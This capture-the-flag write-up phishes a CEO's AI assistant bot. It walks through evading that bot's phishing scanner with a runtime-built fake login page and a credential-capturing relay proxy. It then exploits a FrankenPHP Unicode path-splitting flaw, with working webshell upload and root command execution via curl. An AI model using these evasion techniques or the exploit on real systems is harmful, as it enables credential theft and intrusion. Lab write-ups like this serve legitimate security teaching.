August 27, 2026
Cambodia National Cybersecurity Competition 2026: Web — CEO— Writeup
The task: pose as “the intern” and phish the CEO’s AI assistant. Get it to hand over the CEO’s credentials for the BEAM file-sharing app…

By Jamal
11 min read
The task: pose as "the intern" and phish the CEO's AI assistant. Get it to hand over the CEO's credentials for the BEAM file-sharing app. Turn those credentials into remote code execution on BEAM. Read the flag. The CEO's assistant is a Telegram bot, and it talks back: each failed attempt earns an insult that names the check we failed.
The challenge description tells us what to expect. "He'll respond to your attempts and tell you what he didn't like. Listen carefully." That is an oracle, not flavor text: the bot's replies are our only map of its checks. "Redirect properly maybe to /f/welcome.txt" names the win condition up front: a successful login must end on a URL that contains /f/. "His AI assistant isn't stupid" warns us that a plain fake login page will fail. Expect several checks, not one.
We also get the challenge source: the scanner, the bot, and the BEAM app. We still treat the bot as a black box when we talk to it, but we read the source to learn exactly what each check inspects.
Finding the objective
The flag is not in the chat. It lives on the BEAM file share, the same share the CEO logs into. So we need two things:
- Get the bot to type the CEO's real credentials into a page we control, and capture them.
- Use those credentials to log into BEAM and get code execution.
The description names the first goal precisely. The bot uses a real browser and a real credential. It "reads the report" only after a successful login lands on /f/. Our page must pass every check the bot runs before that happens.
Part 1: phishing the CEO
The bot as an oracle
We open the chat and start probing. The first message, with no link, tells us the bot needs a link:
you: (no link)
CEO bot:
I'm expecting a link for the report! WHERE? got ADHD?
We send a harmless URL we control. The bot replies let me check, then either stays silent or sends an insult. The silence teaches us the first rule: if the page is unreachable or returns a non-200 status, the bot says nothing, because its reply logic has no branch for an ERROR verdict. Our page must stay reachable, respond fast, and always return 200. The scanner also times out after 2 seconds, so our page must answer within that window.
Each insult names the check we tripped. We build this map by testing, one insult at a time:
- "You left the word 'password' sitting in your raw HTML…" — a keyword in the raw HTML.
- "You put type='password' directly in your HTML…" — an
<input>with a credential attribute in the initial DOM. - "You hardcoded your exfiltration endpoint right into the HTML form action…" — a
<form>tag or an absoluteaction=. - "You encoded your payload in base64…" — an inline
atob()call. - "You split 'password' into 'pass'+'word'…" — string concatenation in an inline script.
Stage 1: the static scan
The scanner never runs JavaScript. It never follows externally referenced JavaScript files, CSS, or image links. It reads only the raw response body and the first parse of the initial HTML. This fact makes the challenge solvable. Our plan: keep the raw HTML plain, and build every suspicious part at runtime, in an external script the scanner never fetches. We serve a bare HTML shell. Its only dynamic content is one external JavaScript file, /app.js, pulled in by URL reference. The scanner's script checks read only code embedded directly in the HTML, so a src-referenced external file stays invisible to them. We keep every suspicious word and every <input> out of the static HTML, then build them in JavaScript at runtime. This drives the scanner's score to 0.
Testing revealed nine checks. For each: the name, what triggers it, and our bypass.
- Known kit hash. Triggered by an empty body. Bypass: serve any non-empty HTML.
- Keywords. Triggered by
password,login,sign in,credential,verify your,account lockedin raw HTML. Bypass: put all labels and placeholders in JS (Log inwith a space does not match\blogin\b, butEnter Your Passworddoes). - Suspicious inputs. Triggered by
<input type=password>or anamein{password, passwd, email, username, user}in the initial DOM. Bypass: create inputs in JS withtype="text"and noname. - Forms / action. Triggered by any
<form>tag oraction=https?://in raw HTML. Bypass: no<form>; submit throughfetch()to a same-origin relative path. - atob() blobs. Triggered by inline
atob("<40+ chars>"). Bypass: external script only. - Base64 keywords. Triggered by inline quoted literals (8+ chars) that decode to a keyword. Bypass: external script only.
- atob / btoa / eval alias. Triggered by inline
var/let/const x = atob|btoa|eval. Bypass: external script only. - Concat keywords. Triggered by inline
'pass' + 'word'that folds to a keyword. Bypass: external script only. - Credential fragments. Triggered by inline literals with
pass/log/user/cred/auth/secret, 3 or more hits. Bypass: external script only, so zero inline literals.
Check 1 is a stub: any non-empty body already differs from the known-kit hash, so we pass it without effort. Checks 5 through 9 read only inline script, so routing all real content through the external /app.js keeps every one of them at zero. Checks 2 and 3 fall when we keep words and inputs out of the initial HTML and DOM, and build them at runtime instead. The page footer even names the stack, RUNS ON FRANKENPHP, a detail we return to in Part 2.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>BEAM</title>
<link rel="stylesheet" href="/assets/style.css">
</head>
<body>
<div class="nav-bar"><div class="nav-inner"><a href="/" class="nav-logo"><span class="dot"></span>BEAM</a><div class="nav-links"><a href="/" class="nav-link">Log in</a></div></div></div>
<main>
<div class="container">
<div class="card card-narrow">
<p class="eyebrow-mono" id="eyebrow"></p>
<h1 class="display-sm" id="heading"></h1>
<div id="flash"></div>
<div id="login-form"></div>
</div>
</div>
</main>
<div class="footer"><div class="footer-inner"><span class="footer-mono">BEAM // FILE TRANSFER</span><span class="footer-mono">RUNS ON FRANKENPHP</span></div></div>
<!-- external JavaScript pulled in here by URL reference: /app.js -->
</body>
</html><!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>BEAM</title>
<link rel="stylesheet" href="/assets/style.css">
</head>
<body>
<div class="nav-bar"><div class="nav-inner"><a href="/" class="nav-logo"><span class="dot"></span>BEAM</a><div class="nav-links"><a href="/" class="nav-link">Log in</a></div></div></div>
<main>
<div class="container">
<div class="card card-narrow">
<p class="eyebrow-mono" id="eyebrow"></p>
<h1 class="display-sm" id="heading"></h1>
<div id="flash"></div>
<div id="login-form"></div>
</div>
</div>
</main>
<div class="footer"><div class="footer-inner"><span class="footer-mono">BEAM // FILE TRANSFER</span><span class="footer-mono">RUNS ON FRANKENPHP</span></div></div>
<!-- external JavaScript pulled in here by URL reference: /app.js -->
</body>
</html>The external /app.js builds the whole login UI and the submit handler at runtime. Because the browser loads it by src, the scanner records its script string as None, so every inline-script check (atob, base64-keyword, alias, concat, credential-fragment) finds nothing. We create the inputs with type="text" and no name, so even the DOM scan finds no credential attribute. The words "password" and "Log in" exist only in JavaScript, never in the static HTML.
document.getElementById('eyebrow').textContent = 'Sign in';
document.getElementById('heading').textContent = 'Log in';
document.getElementById('login-form').innerHTML = `
<div class="field"><label for="username">Username</label>
<input type="text" id="username" autocomplete="off" placeholder="Enter Your Username"></div>
<div class="field"><label for="password">Password</label>
<input type="text" id="password" autocomplete="off" placeholder="Enter Your Password"></div>
<button class="btn btn-primary btn-block" id="btn">Log in</button>`;
document.getElementById('btn').addEventListener('click', () => {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
fetch('/login.php', { method: 'POST',
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body: new URLSearchParams({username, password}) })
.then(r => r.json())
.then(d => d.status === 'ok'
? (window.location.href = d.redirect)
: (document.getElementById('flash').className = 'flash flash-error',
document.getElementById('flash').textContent = 'Invalid credentials.'));
});document.getElementById('eyebrow').textContent = 'Sign in';
document.getElementById('heading').textContent = 'Log in';
document.getElementById('login-form').innerHTML = `
<div class="field"><label for="username">Username</label>
<input type="text" id="username" autocomplete="off" placeholder="Enter Your Username"></div>
<div class="field"><label for="password">Password</label>
<input type="text" id="password" autocomplete="off" placeholder="Enter Your Password"></div>
<button class="btn btn-primary btn-block" id="btn">Log in</button>`;
document.getElementById('btn').addEventListener('click', () => {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
fetch('/login.php', { method: 'POST',
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body: new URLSearchParams({username, password}) })
.then(r => r.json())
.then(d => d.status === 'ok'
? (window.location.href = d.redirect)
: (document.getElementById('flash').className = 'flash flash-error',
document.getElementById('flash').textContent = 'Invalid credentials.'));
});The body has no <form> tag and no absolute action=. Submission happens through a fetch() call to a same-origin relative path, which defeats the form check. With nothing suspicious in the raw HTML and no inline script, the scanner's score stays at 0 and returns a CLEAN verdict. The bot replies let me check and moves to the real browser.
Stage 2: the real-browser checks
If the static scan passes, the bot opens our page in a real browser at a 1920×1080 viewport. Here, "his AI assistant isn't stupid" proves true. The bot runs three checks, in order. Our page must pass each one before the bot calls the phish a success.
The pivot: from static clone to live proxy
Up to this point we built a static hosting exercise: the HTML shell, /app.js, the pixel-matched CSS clone. No matter what a user typed into the fields, the page did nothing with it. That stops being enough here. Checks 2 and 3 both submit real form data, and both expect our backend to act on it correctly. So /login.php must stop being a static file. It must become a live proxy: it forwards each submitted username and password to BEAM's real login endpoint, then relays back whatever BEAM decides. From this point on, our page is not a lookalike prop. It is a man-in-the-middle in front of the genuine login.
- The page must look like the real thing. The bot screenshots our page and compares its perceptual hash against the real BEAM login page. The hash must equal
cccc663333999933exactly. If it does not, the bot replies that the page "doesn't even match the original fingerprint… IT DOESN'T EVEN LOOK ALIKE." So we copy the real page's structure and CSS: the black background, the top nav bar with the BEAM logo, the centered narrow card, the "Sign in" label, the "Log in" heading, the two fields, the white pill button, and the footer. We render our clone at the same viewport, computeimagehash.phashlocally, and adjust the CSS until the hash matches. The match takes iteration, not luck.
- Bad credentials must fail quietly, in place. This check proves our page is a live relay, not a static decoy. The bot enters
adminand a random password, then clicksLog in. The check does more than block junk input: it confirms our page forwards each submission to the real BEAM login endpoint and mirrors BEAM's verdict, instead of showing a canned rejection. Our/login.phpbackend sends the attempt to the real BEAM login. BEAM rejectsadminand the random password, so we return{"status":"invalid"}, and the JavaScript showsInvalid credentials.without leaving the page. Our page must return HTTP 200 for that request, must not navigate away, and must show that exact text. If we redirect on bad credentials, the bot calls us out. If we return a non-200 status or show no error, it says the form "did absolutely nothing…". Either way, the bot is testing whether the relay is real, because that same relay path will later carry the real credential to the actual BEAM backend.
- The real credentials must land on
/f/. The bot reloads our page, enters the CEO's real credentials, and clicksLog in. To tell this attempt apart from the decoy, and to capture the credential, our backend forwards each login attempt to BEAM's real login endpoint, the same endpoint we attack in Part 2.
If BEAM rejects the credentials, we return {"status":"invalid"} and stay on the page. If BEAM accepts them, we log the username and password to captured_creds.txt and return {"status":"ok","redirect":"/f/welcome.txt"}. The JavaScript then navigates to that URL, so the bot sees a URL that contains /f/, the exact success condition the challenge description named. If the real login never reaches /f/, the bot replies "Couldn't get past your own phishing login… Go read an RFC."
The successful chat
When every check passes, the exchange is short:
you: http://your-server/
CEO bot:
let me check
CEO bot:
thanks i'll read the report
On our server, captured_creds.txt now holds the credential:
[timestamp] user='ceo' pass='wceofrfr'[timestamp] user='ceo' pass='wceofrfr'The CEO fell for it. Part 1 is done.
Part 2: RCE on the BEAM share
We log into the real share with the captured credential and turn that access into code execution. This half is a different problem: a real application running on FrankenPHP, where the key bug is a Unicode path-splitting flaw.
Enumeration
The login response names the stack right away:
HTTP/1.1 200 OK
Server: FrankenPHP Caddy
X-Powered-By: PHP/8.3.31HTTP/1.1 200 OK
Server: FrankenPHP Caddy
X-Powered-By: PHP/8.3.31FrankenPHP Caddy plus PHP/8.3.31 means Caddy with embedded PHP, exactly where CGI path-splitting bugs live. We log in with the captured credential:
curl.exe -s -i -c cookies.txt -b cookies.txt `
-d "username=ceo&password=wceofrfr" http://192.168.13.171:8189/login.php
# 302 → / ; use cookies.txt for authenticated requestscurl.exe -s -i -c cookies.txt -b cookies.txt `
-d "username=ceo&password=wceofrfr" http://192.168.13.171:8189/login.php
# 302 → / ; use cookies.txt for authenticated requestsThe dashboard shows an upload form ("Your files"). Files link to /f/<name>, and the Download button points to /uploads/<name>. A probe file confirms that uploads land under the web root and serve through /uploads/.
Probing several paths shows the routing that matters. The /uploads/* paths leak the document root and show that FrankenPHP tries to run the requested path as PHP directly. What each probe returns:
/assets/style.css— served as a static file (a real file in the docroot).- / and
/zzz.php— fall through toindex.php(the app). /uploads/probe_beam.txt— PHPFatal error: Failed opening required '/app/public'./uploads/x.php— PHP error naming/app/public/uploads/x.php.
So we can upload a file into the web root and reach it through the PHP CGI path splitter. Only the extension filter stops us from uploading a plain .php shell:
$blocked = ['php', 'php3', 'php4', 'php5', 'php7', 'phtml', 'phar', 'shtml'];$blocked = ['php', 'php3', 'php4', 'php5', 'php7', 'phtml', 'phar', 'shtml'];The filter checks PHP's pathinfo() result against the literal filename. So a name with a Unicode lookalike extension, for example 𝗽𝗵𝗽, is not in the blocked list, and passes. This detail matches the footer we saw on the login clone, RUNS ON FRANKENPHP, which pointed at this whole class of bug.
The vulnerability, CVE-2026–45062
Here is how the bug works. When Caddy hands a request path to FrankenPHP's CGI layer, the layer must decide where the PHP script name ends and the extra path segments begin. That split point sets SCRIPT_FILENAME, the file PHP runs, and everything after it becomes PATH_INFO, extra data PHP can read but not run. Normally the split rule is simple: find .php. So an uploaded .txt or .jpg file can never become SCRIPT_FILENAME, no matter what path segments follow it. The bug lies in how FrankenPHP finds that split point.
FrankenPHP's splitPos() function finds this split point. Its non-ASCII fallback uses golang.org/x/text/search with search.IgnoreCase, which applies full Unicode equivalence: compatibility decomposition plus case folding, well beyond plain ASCII case folding. Many Unicode code points fold onto ASCII .php, as documented in GHSA-3g8v-8r37-cgjm (CVE-2026-45062). The lookalikes that fold to .php:
﹒php— U+FE52 small full stop followed byphp..php— U+FF0E fullwidth full stop followed byphp..php/.php— fullwidth letters..ⓟⓗⓟ— circled letters..𝗽𝗵𝗽— mathematical boldp h p.
When a request uses such a path, splitPos() reports a .php match at the end of the lookalike sequence. SCRIPT_FILENAME becomes the non-.php file at that offset, and PHP runs it.
The bug affects versions >= 1.11.2, <= 1.12.2, and version 1.12.3 fixes it. Our target runs 1.12.2, so it is vulnerable.
Here we should name a dead end the challenge hint pushed us toward. The hint pointed at GHSA-g966–83w7–6w38, CVE-2026–24895, an older Unicode length-expansion bug, where strings.ToLower lowercases Ⱥ (U+023A) to ⱥ (U+2C65). We tested it, and SCRIPT_FILENAME resolved to the patched, unshifted behavior. Version 1.11.2 fixed that bug, and our target runs 1.12.2. This cost us time and taught us a lesson: confirm the running version against each advisory before you commit to an exploit. The actual challenge uses the newer bug, CVE-2026-45062.
Exploitation
We upload a plain webshell under the lookalike name shell.𝗽𝗵𝗽. 𝗽 is U+1D5FD, and 𝗵 is U+1D5F5:
$payload = "<?php system(`$_GET['c'] ?? 'id'); ?>"
Set-Content -Path "sh.txt" -Value $payload -NoNewline
$name = 'shell.' + [System.Char]::ConvertFromUtf32(0x1D5FD) `
+ [System.Char]::ConvertFromUtf32(0x1D5F5) `
+ [System.Char]::ConvertFromUtf32(0x1D5FD)
curl.exe -s -b cookies.txt `
-F "file=@sh.txt;filename=$name" `
-F "visibility=public" http://192.168.13.171:8189/
# → Uploaded: shell.𝗽𝗵𝗽$payload = "<?php system(`$_GET['c'] ?? 'id'); ?>"
Set-Content -Path "sh.txt" -Value $payload -NoNewline
$name = 'shell.' + [System.Char]::ConvertFromUtf32(0x1D5FD) `
+ [System.Char]::ConvertFromUtf32(0x1D5F5) `
+ [System.Char]::ConvertFromUtf32(0x1D5FD)
curl.exe -s -b cookies.txt `
-F "file=@sh.txt;filename=$name" `
-F "visibility=public" http://192.168.13.171:8189/
# → Uploaded: shell.𝗽𝗵𝗽The file lands at /app/public/uploads/shell.𝗽𝗵𝗽. The extension check does not fire, because pathinfo('shell.𝗽𝗵𝗽', PATHINFO_EXTENSION) returns the non-ASCII string 𝗽𝗵𝗽, which is not in the blocked list.
Now we request the file through /uploads/*, placing the lookalike 𝗽𝗵𝗽 so that splitPos() maps SCRIPT_FILENAME onto our uploaded file. In bytes, 𝗽 is F0 9D 97 BD and 𝗵 is F0 9D 97 B5. The folded .php match sets SCRIPT_FILENAME to our webshell, and the rest of the path becomes PATH_INFO:
curl.exe -s --path-as-is `
"http://192.168.13.171:8189/uploads/shell.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger?c=id"curl.exe -s --path-as-is `
"http://192.168.13.171:8189/uploads/shell.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger?c=id"Output:
uid=0(root) gid=0(root) groups=0(root)uid=0(root) gid=0(root) groups=0(root)We have RCE as root.
Reading the flag
We use the same shell to read the flag file:
curl.exe -s --path-as-is `
"http://192.168.13.171:8189/uploads/shell.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger?c=cat%20/app/flag.txt"curl.exe -s --path-as-is `
"http://192.168.13.171:8189/uploads/shell.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger?c=cat%20/app/flag.txt"Result:
MPTC{c3o_st1ll_f3ll_f0r_ph1shing}MPTC{c3o_st1ll_f3ll_f0r_ph1shing}Flag
MPTC{c3o_st1ll_f3ll_f0r_ph1shing}MPTC{c3o_st1ll_f3ll_f0r_ph1shing}